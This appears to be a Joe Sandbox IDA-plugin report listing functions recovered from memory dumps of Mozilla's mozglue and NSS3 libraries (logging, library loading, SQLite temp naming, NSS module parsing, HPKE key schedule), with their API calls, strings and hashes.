samplingallthreads, xrefs: 6CA5CE2C
preferencereads, xrefs: 6CA5CD92
java, xrefs: 6CA5CC37
nativeallocations, xrefs: 6CA5CDA8
fileio, xrefs: 6CA5CC92
default, xrefs: 6CA5CC21
cpuallthreads, xrefs: 6CA5CE16
power, xrefs: 6CA5CE84
stackwalk, xrefs: 6CA5CCF8
seqstyle, xrefs: 6CA5CCE6
fileioall, xrefs: 6CA5CCA8
mainthreadio, xrefs: 6CA5CC7C

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 2bd945b14fb3057ad58aa25316b6714b361c3ebb0839b0e3c41a322f5fa0d394
Instruction ID: eafb4d3840d1b2eef939265c587b2489c9241b0d2f799ade09531f84c9e7a15c
Opcode Fuzzy Hash: 2bd945b14fb3057ad58aa25316b6714b361c3ebb0839b0e3c41a322f5fa0d394
Instruction Fuzzy Hash: 9651CCD2A0732517FA0030257D11BAA1444FF5B24DF94D039FE05E1E84FB2996EE85B7

Function 6CC409D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275
filetimethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PR_Now.NSS3 ref: 6CC40A22

Part of subcall function 6CBF9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DC6
Part of subcall function 6CBF9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC40A27), ref: 6CBF9DD1
Part of subcall function 6CBF9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CBF9DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC40A35

Part of subcall function 6CB23810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB2382A
Part of subcall function 6CB23810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB23879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC40A66
PR_GetCurrentThread.NSS3 ref: 6CC40A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC40A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC40AC8
PR_vsmprintf.NSS3(?,?), ref: 6CC40AE8
EnterCriticalSection.KERNEL32(?), ref: 6CC40B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CC40B48
OutputDebugStringA.KERNEL32(?), ref: 6CC40B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC40C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC40C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC40C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CC40C76
PR_LogFlush.NSS3 ref: 6CC40C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CC40C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC40C9C
OutputDebugStringA.KERNEL32(?), ref: 6CC40CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CC40CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC40CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CC40D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CC40D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC40D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CC40D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CC40D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CC40D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CC40D90
free.MOZGLUE(00000000), ref: 6CC40D99

Strings

%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CC40A5B
%ld[%p]: , xrefs: 6CC40A96

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: 729450751f1dedc4eed95e78b76b762bf6c3911d28c4690a22fb34e9ecec27b0
Instruction ID: 455b2704968091d3fac463e246320f91b73cda43d978a9278e69f495a251ed13
Opcode Fuzzy Hash: 729450751f1dedc4eed95e78b76b762bf6c3911d28c4690a22fb34e9ecec27b0
Instruction Fuzzy Hash: A7A1E571E411949FDB10AF28CC49BEA3F7CEF22318F088698E81593741E775E999CB51

Function 6CA24470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA24730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CA244B2,6CA9E21C,6CA9F7F8), ref: 6CA2473E
Part of subcall function 6CA24730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CA2474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CA244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CA244D2
InitOnceExecuteOnce.KERNEL32(6CA9F80C,6CA1F240,?,?), ref: 6CA2451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA2455C
LoadLibraryW.KERNEL32(?), ref: 6CA24592
InitializeCriticalSection.KERNEL32(6CA9F770), ref: 6CA245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CA245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CA245BB
InitOnceExecuteOnce.KERNEL32(6CA9F818,6CA1F240,?,?), ref: 6CA24612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CA24636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CA24644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CA2466D
VerSetConditionMask.NTDLL ref: 6CA2469F
VerSetConditionMask.NTDLL ref: 6CA246AB
VerSetConditionMask.NTDLL ref: 6CA246B2
VerSetConditionMask.NTDLL ref: 6CA246B9
VerSetConditionMask.NTDLL ref: 6CA246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CA246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CA246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CA246FD

Strings

kernel32.dll, xrefs: 6CA244CD
NativeNtBlockSet_Write, xrefs: 6CA246F7
l, xrefs: 6CA24578
user32.dll, xrefs: 6CA24557, 6CA2463F
WRusr.dll, xrefs: 6CA244B5

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: 1282cb89540ac6e91aeef06bd3d43cef58e8506f8654c50b7cbd76cd5c4bc814
Instruction ID: a3844ab4f40f80f300d433e0a3d6070d72f7d37c3456a0e511de5b4dc6ab360e
Opcode Fuzzy Hash: 1282cb89540ac6e91aeef06bd3d43cef58e8506f8654c50b7cbd76cd5c4bc814
Instruction Fuzzy Hash: 9F6102B06203559FEB148F24DC4BB957BF8EB42308F08C15CF9449B641DB7889C6CBA0

Function 6CC06E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CABCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB1F9C9,?,6CB1F4DA,6CB1F9C9,?,?,6CAE369A), ref: 6CABCA7A
Part of subcall function 6CABCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CABCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CACBE66), ref: 6CC06E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CACBE66), ref: 6CC06E98
sqlite3_snprintf.NSS3(?,00000000,6CC6AAF9,?,?,?,?,?,?,6CACBE66), ref: 6CC06EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CACBE66), ref: 6CC06ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CACBE66), ref: 6CC06EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CACBE66), ref: 6CC06F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CACBE66), ref: 6CC06F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CACBE66), ref: 6CC06F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CACBE66), ref: 6CC06FA6
sqlite3_snprintf.NSS3(?,00000000,6CC6AAF9,00000000,?,?,?,?,?,?,?,6CACBE66), ref: 6CC06FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CACBE66), ref: 6CC06FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CACBE66), ref: 6CC06FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CACBE66), ref: 6CC07014
sqlite3_free.NSS3(00000000,?,?,?,?,6CACBE66), ref: 6CC0701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CACBE66), ref: 6CC07030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CACBE66), ref: 6CC0705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CACBE66), ref: 6CC07079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CACBE66), ref: 6CC07097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CACBE66), ref: 6CC070A0

Strings

winGetTempname2, xrefs: 6CC070C4
winGetTempname5, xrefs: 6CC07071
winGetTempname1, xrefs: 6CC0708F
winGetTempname4, xrefs: 6CC07046
mz_etilqs_, xrefs: 6CC06F18

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 711c36a43b5af879efc8887c1c5ea7895e03f5336e4679f8d85b0f38f632578e
Instruction ID: a96a1b1cae0e599b5f65575089cef2bbd918712fee5630c94c5c1cea4d05d540
Opcode Fuzzy Hash: 711c36a43b5af879efc8887c1c5ea7895e03f5336e4679f8d85b0f38f632578e
Instruction Fuzzy Hash: 33516DB1B006111BE7149A309C51FBB367A9F9231CF144638ED15A7BC1FB36A55E82E3

Function 6CB94FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB475C2,00000000,00000000,00000001), ref: 6CB95009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB475C2,00000000), ref: 6CB95049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB9505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CB95071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB95089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB950A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CB950B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB475C2), ref: 6CB950CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB950D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CB950F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB95103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB9512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB95145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB95153
free.MOZGLUE(?), ref: 6CB9516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CB9517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB95195

Strings

name=, xrefs: 6CB95057
parameters=, xrefs: 6CB9506B
config=, xrefs: 6CB9509B
library=, xrefs: 6CB95043
nss=, xrefs: 6CB95083

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: fa21db4335410f02fddb0f4167e28365ab18dc76f898572b208a6fe6ef008b9a
Instruction ID: 3e60e058fcc036c9015dd164970fb9d1b3283a41338a6b5ef519200c520fe6a6
Opcode Fuzzy Hash: fa21db4335410f02fddb0f4167e28365ab18dc76f898572b208a6fe6ef008b9a
Instruction Fuzzy Hash: E7518FB5A812555BEB019F249C41AEF37B8EF07249F140030EC29E7741E725E91DCBB6

Function 6CB94C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CB84F51,00000000), ref: 6CB94C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CB84F51,00000000), ref: 6CB94C5B
PR_smprintf.NSS3(6CC6AAF9,?,0000002F,?,?,?,00000000,00000000,?,6CB84F51,00000000), ref: 6CB94C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CB84F51,00000000), ref: 6CB94CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB94CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB94CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB94D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CB84F51,00000000), ref: 6CB94D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CB84F51,00000000), ref: 6CB94D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CB94D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CB94DA2
free.MOZGLUE(?), ref: 6CB94DB9
free.MOZGLUE(00000000), ref: 6CB94DCF

Strings

0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CB94D9D
ootT, xrefs: 6CB94D1A
rust, xrefs: 6CB94D22
any, xrefs: 6CB94C96
%s,%s, xrefs: 6CB94C4B
rootFlags, xrefs: 6CB94D47
every, xrefs: 6CB94CA1
timeout, xrefs: 6CB94C91
slotFlags, xrefs: 6CB94D34
0x%08lx=[%s %s], xrefs: 6CB94D80

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 2ac62a4bcc42f3351fceee4d2d91c24455cf31ca8f428a50e0104bc9801d61dc
Instruction ID: c94b91ede34ec6e36927277abfa6ab5b84acc7a643ce46fea3600ee10c1d9f7a
Opcode Fuzzy Hash: 2ac62a4bcc42f3351fceee4d2d91c24455cf31ca8f428a50e0104bc9801d61dc
Instruction Fuzzy Hash: 194189B59001916BDB119F299880ABF3A75EF8334CF088134E8264BB11E730ED54CBD3

Function 6CB608F0 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 230COMMON

Download Yara Rule

APIs

htonl.WSOCK32(-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 6CB6094D
htonl.WSOCK32(-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB60953
htonl.WSOCK32(-00000001,-00000001,-00000001), ref: 6CB6096E
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001), ref: 6CB60974
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CB6098F
htonl.WSOCK32(-00000001,-00000001,-00000001,-00000001,-00000001,-00000001), ref: 6CB60995

Part of subcall function 6CB61800: SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CB61860
Part of subcall function 6CB61800: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,00000000,?,-00000001,?,6CB609BF), ref: 6CB61897
Part of subcall function 6CB61800: memcpy.VCRUNTIME140(?,-00000001,-00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB618AA
Part of subcall function 6CB61800: memcpy.VCRUNTIME140(?,?,?), ref: 6CB618C4

PK11_FreeSymKey.NSS3(00000000,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CB60B4F
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CB60B5E
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001,-00000001,-00000001), ref: 6CB60B6B
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,-00000001,-00000001), ref: 6CB60B78

Strings

exp, xrefs: 6CB60B36
key, xrefs: 6CB60ACB
secret, xrefs: 6CB60A88
base_nonce, xrefs: 6CB60B06
psk_id_hash, xrefs: 6CB609B5
info_hash, xrefs: 6CB609E0

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: htonl$Item_Util$Zfreememcpy$AllocFreeK11_
String ID: base_nonce$exp$info_hash$key$psk_id_hash$secret
API String ID: 1637529542-763765719
Opcode ID: beddd8b302da15a4a6cf7b244097c4f3366ce19f2a748ca2f6bcf19aa5add570
Instruction ID: 26a8a0b149a6d24a983208d4e4e8d03642d0dfee46aaf7919b90fab0bfffd133
Opcode Fuzzy Hash: beddd8b302da15a4a6cf7b244097c4f3366ce19f2a748ca2f6bcf19aa5add570
Instruction Fuzzy Hash: 61818A76604341AFC700CF66C88099AF7E9FF8C318F048919F99997B51E731E919CB92

Function 6CB72D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CB72DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CB72E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB72E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CB72E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CB44F1C,?,-00000001,00000000,?), ref: 6CB72E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CB44F1C,?,-00000001,00000000), ref: 6CB72E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB72EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB72EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB72EF8
PR_Unlock.NSS3(?), ref: 6CB72F62
TlsGetValue.KERNEL32 ref: 6CB72F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CB72F9E
PR_Unlock.NSS3(?), ref: 6CB72FCA
TlsGetValue.KERNEL32 ref: 6CB7301A
EnterCriticalSection.KERNEL32(?), ref: 6CB7302E
PR_Unlock.NSS3(?), ref: 6CB73066
PR_SetError.NSS3(00000000,00000000), ref: 6CB73085
PR_Unlock.NSS3(?), ref: 6CB730EC
TlsGetValue.KERNEL32 ref: 6CB7310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CB73124
PR_Unlock.NSS3(?), ref: 6CB7314C

Part of subcall function 6CB59180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CB8379E,?,6CB59568,00000000,?,6CB8379E,?,00000001,?), ref: 6CB5918D
Part of subcall function 6CB59180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CB8379E,?,6CB59568,00000000,?,6CB8379E,?,00000001,?), ref: 6CB591A0

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

PR_SetError.NSS3(00000000,00000000), ref: 6CB7316D

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: dbddb62bef672614fc13f390605c42df009a000e2ce4ee08a63f5d6bb1a2e5ec
Instruction ID: dfce991abfedac6aba154f46cc96a518167b61cdb3652a0301baf7edc0c903fa
Opcode Fuzzy Hash: dbddb62bef672614fc13f390605c42df009a000e2ce4ee08a63f5d6bb1a2e5ec
Instruction Fuzzy Hash: B6F17BB1D00248EFDF10DF68D848B9EBBB4FF09318F144169EC25A7611E731A995CBA2

